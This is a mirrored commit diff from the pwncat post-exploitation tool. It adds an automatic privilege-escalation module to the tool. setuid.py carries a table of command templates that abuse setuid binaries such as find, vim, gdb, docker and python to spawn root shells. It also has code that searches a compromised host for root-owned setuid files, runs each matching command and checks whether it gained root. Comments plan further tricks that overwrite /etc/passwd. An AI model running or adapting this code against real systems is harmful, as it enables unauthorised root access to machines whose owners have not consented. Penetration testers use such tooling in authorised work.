mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Fixed merge issues
This commit is contained in:
commit
887fef91a3
@ -1,17 +1,16 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from typing import Type, List
|
||||
|
||||
from pwncat.downloader.base import Downloader, DownloadError
|
||||
from pwncat.downloader.nc import NetcatDownloader
|
||||
from pwncat.downloader.curl import CurlDownloader
|
||||
from pwncat.downloader.shell import ShellDownloader
|
||||
from pwncat.downloader.wget import WgetDownloader
|
||||
from pwncat.downloader.bashtcp import BashTCPDownloader
|
||||
|
||||
all_downloaders = [
|
||||
NetcatDownloader,
|
||||
CurlDownloader,
|
||||
WgetDownloader,
|
||||
ShellDownloader,
|
||||
BashTCPDownloader,
|
||||
]
|
||||
|
36
pwncat/privesc/__init__.py
Normal file
36
pwncat/privesc/__init__.py
Normal file
@ -0,0 +1,36 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Type, List
|
||||
|
||||
from pwncat.privesc.base import Privesc, PrivescError
|
||||
from pwncat.privesc.setuid import SetuidPrivesc
|
||||
|
||||
all_privescs = [SetuidPrivesc]
|
||||
privescs = [SetuidPrivesc]
|
||||
|
||||
|
||||
def get_names() -> List[str]:
|
||||
""" get the names of all privescs """
|
||||
return [d.NAME for d in all_privescs]
|
||||
|
||||
|
||||
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Privesc]:
|
||||
""" Locate an applicable privesc """
|
||||
|
||||
if hint is not None:
|
||||
# Try to return the requested privesc
|
||||
for d in all_privescs:
|
||||
if d.NAME != hint:
|
||||
continue
|
||||
d.check(pty)
|
||||
return d
|
||||
|
||||
raise PrivescError(f"{hint}: no such privesc")
|
||||
|
||||
for d in privescs:
|
||||
try:
|
||||
d.check(pty)
|
||||
return d
|
||||
except PrivescError:
|
||||
continue
|
||||
else:
|
||||
raise PrivescError("no acceptable privescs found")
|
33
pwncat/privesc/base.py
Normal file
33
pwncat/privesc/base.py
Normal file
@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable
|
||||
import threading
|
||||
import socket
|
||||
import os
|
||||
|
||||
from pwncat import util
|
||||
|
||||
|
||||
class PrivescError(Exception):
|
||||
""" An error occurred while attempting a privesc technique """
|
||||
|
||||
|
||||
class Privesc:
|
||||
|
||||
# Binaries which are needed on the remote host for this privesc
|
||||
BINARIES = []
|
||||
|
||||
@classmethod
|
||||
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
|
||||
""" Check if the given PTY connection can support this privesc """
|
||||
for binary in cls.BINARIES:
|
||||
if pty.which(binary) is None:
|
||||
raise DownloadError(f"required remote binary not found: {binary}")
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler"):
|
||||
self.pty = pty
|
||||
|
||||
def execute(self) -> Generator[str, None, None]:
|
||||
""" Generate the commands needed to send this file back. This is a
|
||||
generator, which yields strings which will be executed on the remote
|
||||
host. """
|
||||
return
|
131
pwncat/privesc/setuid.py
Normal file
131
pwncat/privesc/setuid.py
Normal file
@ -0,0 +1,131 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
import sys
|
||||
from time import sleep
|
||||
import os
|
||||
from colorama import Fore, Style
|
||||
|
||||
from pwncat.util import info, success, error, progress, warn
|
||||
from pwncat.privesc.base import Privesc, PrivescError
|
||||
|
||||
# https://gtfobins.github.io/#+suid
|
||||
known_setuid_privescs = {
|
||||
"env": ["{} /bin/bash -p"],
|
||||
"bash": ["{} -p"],
|
||||
"chmod": ["{} +s /bin/bash", "/bin/bash -p"],
|
||||
"chroot": ["{} / /bin/bash -p"],
|
||||
"dash": ["{} -p"],
|
||||
"ash": ["{}"],
|
||||
"docker": ["{} run -v /:/mnt --rm -it alpine chroot /mnt sh"],
|
||||
"emacs": ["""{} -Q -nw --eval '(term "/bin/sh -p")'"""],
|
||||
"find": ["{} . -exec /bin/sh -p \\; -quit"],
|
||||
"flock": ["{} -u / /bin/sh -p"],
|
||||
"gdb": [
|
||||
"""{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit"""
|
||||
],
|
||||
"logsave": ["{} /dev/null /bin/bash -i -p"],
|
||||
"make": ["COMMAND='/bin/sh -p'", """{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",],
|
||||
"nice": ["{} /bin/bash -p"],
|
||||
"node": [
|
||||
"""{} -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});'"""
|
||||
],
|
||||
"nohup": ["""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\""""],
|
||||
"perl": ["""{} -e 'exec "/bin/sh";'"""],
|
||||
"php": ["""{} -r \"pcntl_exec('/bin/sh', ['-p']);\""""],
|
||||
"python": ["""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'"""],
|
||||
"rlwrap": ["{} -H /dev/null /bin/sh -p"],
|
||||
"rpm": ["""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'"""],
|
||||
"rpmquery": ["""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'"""],
|
||||
"rsync": ["""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null"""],
|
||||
"run-parts": ["""{} --new-session --regex '^sh$' /bin --arg='-p'"""],
|
||||
"rvim": [
|
||||
"""{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'"""
|
||||
],
|
||||
"setarch": ["""{} $(arch) /bin/sh -p"""],
|
||||
"start-stop-daemon": ["""{} -n $RANDOM -S -x /bin/sh -- -p"""],
|
||||
"strace": ["""{} -o /dev/null /bin/sh -p"""],
|
||||
"tclsh": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit"""],
|
||||
"tclsh8.6": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""",],
|
||||
"taskset": ["""{} 1 /bin/sh -p"""],
|
||||
"time": ["""{} /bin/sh -p"""],
|
||||
"timeout": ["""{} 7d /bin/sh -p"""],
|
||||
"unshare": ["""{} -r /bin/sh"""],
|
||||
"vim": ["""{} -c ':!/bin/sh' -c ':q'"""],
|
||||
"watch": ["""{} -x sh -c 'reset; exec sh 1>&0 2>&0'"""],
|
||||
"zsh": ["""{}"""],
|
||||
# need to add in cp trick to overwrite /etc/passwd
|
||||
# need to add in curl trick to overwrite /etc/passwd
|
||||
# need to add in wget trick to overwrite /etc/passwd
|
||||
# need to add in dd trick to overwrite /etc/passwd
|
||||
# need to add in openssl trick to overwrite /etc/passwd
|
||||
# need to add in sed trick to overwrite /etc/passwd
|
||||
# need to add in shuf trick to overwrite /etc/passwd
|
||||
# need to add in systemctl trick to overwrite /etc/passwd
|
||||
# need to add in tee trick to overwrite /etc/passwd
|
||||
# need to add in wget trick to overwrite /etc/passwd
|
||||
# need to add in nano trick but requires Control+R Control+X keys
|
||||
# need to add in pico trick but requires Control+R Control+X keys
|
||||
# b"/bin/nano": ["/bin/nano", "\x12\x18reset; sh -p 1>&0 2>&0"],
|
||||
}
|
||||
|
||||
|
||||
class SetuidPrivesc(Privesc):
|
||||
|
||||
NAME = "setuid"
|
||||
BINARIES = ["find"]
|
||||
|
||||
def execute(self):
|
||||
""" Look for setuid binaries and attempt to run"""
|
||||
|
||||
find = self.pty.which("find")
|
||||
|
||||
setuid_output = []
|
||||
delim = self.pty.process(f"find / -user root -perm -4000 -print 2>/dev/null")
|
||||
|
||||
while True:
|
||||
line = self.pty.recvuntil(b"\n").strip()
|
||||
progress("searching for setuid binaries")
|
||||
|
||||
if delim in line:
|
||||
break
|
||||
setuid_output.append(line)
|
||||
|
||||
for suid in setuid_output:
|
||||
suid = suid.decode("utf-8")
|
||||
for privesc, commands in known_setuid_privescs.items():
|
||||
if os.path.basename(suid) != privesc:
|
||||
continue
|
||||
|
||||
info(
|
||||
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{suid}{Fore.RESET}{Style.RESET_ALL}",
|
||||
)
|
||||
|
||||
before_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
before_shell_level = (
|
||||
int(before_shell_level) if before_shell_level != b"" else 0
|
||||
)
|
||||
|
||||
for each_command in commands:
|
||||
self.pty.run(each_command.format(suid), wait=False)
|
||||
|
||||
sleep(0.1)
|
||||
user = self.pty.run("whoami").strip()
|
||||
if user == b"root":
|
||||
success("privesc succeeded")
|
||||
return True
|
||||
else:
|
||||
error("privesc failed")
|
||||
after_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
after_shell_level = (
|
||||
int(after_shell_level) if after_shell_level != b"" else 0
|
||||
)
|
||||
if after_shell_level > before_shell_level:
|
||||
info("exiting spawned inner shell")
|
||||
self.pty.run("exit", wait=False) # here be dragons
|
||||
|
||||
continue
|
||||
|
||||
error("no known setuid privescs found")
|
||||
|
||||
return False
|
@ -25,7 +25,7 @@ import sys
|
||||
import os
|
||||
|
||||
from pwncat import util
|
||||
from pwncat import downloader, uploader
|
||||
from pwncat import downloader, uploader, privesc
|
||||
from colorama import Fore
|
||||
|
||||
|
||||
@ -447,6 +447,37 @@ class PtyHandler:
|
||||
""" Exit command mode """
|
||||
self.enter_raw(save=False)
|
||||
|
||||
def do_privesc(self, argv):
|
||||
""" Attempt privilege escalation """
|
||||
|
||||
parser = argparse.ArgumentParser(prog="privesc")
|
||||
parser.add_argument(
|
||||
"--method",
|
||||
"-m",
|
||||
choices=privesc.get_names(),
|
||||
default=None,
|
||||
help="set the privesc method (default: auto)",
|
||||
)
|
||||
|
||||
try:
|
||||
args = parser.parse_args(argv)
|
||||
except SystemExit:
|
||||
# The arguments were parsed incorrectly, return.
|
||||
return
|
||||
|
||||
try:
|
||||
# Locate an appropriate privesc class
|
||||
PrivescClass = privesc.find(self, args.method)
|
||||
except privesc.PrivescError as exc:
|
||||
util.error(f"{exc}")
|
||||
return
|
||||
|
||||
privesc_object = PrivescClass(self)
|
||||
succeeded = privesc_object.execute()
|
||||
|
||||
if succeeded:
|
||||
self.do_back([])
|
||||
|
||||
@with_parser
|
||||
def do_download(self, args):
|
||||
""" Download a file from the remote host """
|
||||
@ -594,7 +625,29 @@ class PtyHandler:
|
||||
help_msg = getattr(self, c).__doc__
|
||||
print(f"{c[3:]:15s}{help_msg}")
|
||||
|
||||
def run(self, cmd, has_pty=True, wait=True) -> bytes:
|
||||
def run(self, cmd, wait=True) -> bytes:
|
||||
""" Run a command in the context of the remote host and return the
|
||||
output. This is run synchrounously.
|
||||
|
||||
:param cmd: The command to run. Either a string or an argv list.
|
||||
:param has_pty: Whether a pty was spawned
|
||||
"""
|
||||
|
||||
response = self.process(cmd, delim=wait)
|
||||
|
||||
if wait:
|
||||
|
||||
response = self.recvuntil(b"_PWNCAT_ENDDELIM_")
|
||||
response = response.split(b"_PWNCAT_ENDDELIM_")[0]
|
||||
|
||||
if self.has_cr:
|
||||
self.recvuntil(b"\r\n")
|
||||
else:
|
||||
self.recvuntil(b"\n")
|
||||
|
||||
return response
|
||||
|
||||
def process(self, cmd, delim=True) -> bytes:
|
||||
""" Run a command in the context of the remote host and return the
|
||||
output. This is run synchrounously.
|
||||
|
||||
@ -605,10 +658,8 @@ class PtyHandler:
|
||||
if isinstance(cmd, list):
|
||||
cmd = shlex.join(cmd)
|
||||
|
||||
EOL = b"\r" if has_pty else b"\n"
|
||||
|
||||
if wait:
|
||||
command = f" echo _PWNCAT_DELIM_; {cmd}; echo _PWNCAT_DELIM_"
|
||||
if delim:
|
||||
command = f" echo _PWNCAT_STARTDELIM_; {cmd}; echo _PWNCAT_ENDDELIM_"
|
||||
else:
|
||||
command = cmd
|
||||
|
||||
@ -617,31 +668,26 @@ class PtyHandler:
|
||||
# Send the command to the remote host
|
||||
self.client.send(command.encode("utf-8") + b"\n")
|
||||
|
||||
if wait:
|
||||
if delim:
|
||||
if self.has_echo:
|
||||
self.recvuntil(b"_PWNCAT_DELIM_") # first in command
|
||||
self.recvuntil(b"_PWNCAT_DELIM_") # second in command
|
||||
self.recvuntil(b"_PWNCAT_ENDDELIM_") # first in command
|
||||
# Recieve line ending from output
|
||||
self.recvuntil(b"\n")
|
||||
|
||||
self.recvuntil(b"_PWNCAT_DELIM_") # first in output
|
||||
self.recvuntil(b"_PWNCAT_STARTDELIM_") # first in output
|
||||
self.recvuntil(b"\n")
|
||||
response = self.recvuntil(b"_PWNCAT_DELIM_")
|
||||
response = response.split(b"_PWNCAT_DELIM_")[0]
|
||||
|
||||
if self.has_cr:
|
||||
self.recvuntil(b"\r\n")
|
||||
else:
|
||||
self.recvuntil(b"\n")
|
||||
|
||||
return response
|
||||
return b"_PWNCAT_ENDDELIM_"
|
||||
|
||||
def recvuntil(self, needle: bytes, flags=0):
|
||||
""" Recieve data from the client until the specified string appears """
|
||||
|
||||
result = b""
|
||||
while not result.endswith(needle):
|
||||
result += self.client.recv(1, flags)
|
||||
try:
|
||||
result += self.client.recv(1, flags)
|
||||
except socket.timeout:
|
||||
continue # force waiting
|
||||
|
||||
return result
|
||||
|
||||
|
@ -141,7 +141,7 @@ def get_ip_addr() -> str:
|
||||
|
||||
|
||||
LAST_LOG_MESSAGE = ("", False)
|
||||
PROG_ANIMATION = ["/-\\"]
|
||||
PROG_ANIMATION = "/-\\"
|
||||
LAST_PROG_ANIM = -1
|
||||
|
||||
|
||||
@ -194,5 +194,5 @@ def success(message, overlay=False):
|
||||
log("success", message, overlay)
|
||||
|
||||
|
||||
# def progress(message, overlay=False):
|
||||
# log("prog", message, overlay)
|
||||
def progress(message, overlay=True):
|
||||
log("prog", message, overlay)
|
||||
|
Loading…
Reference in New Issue
Block a user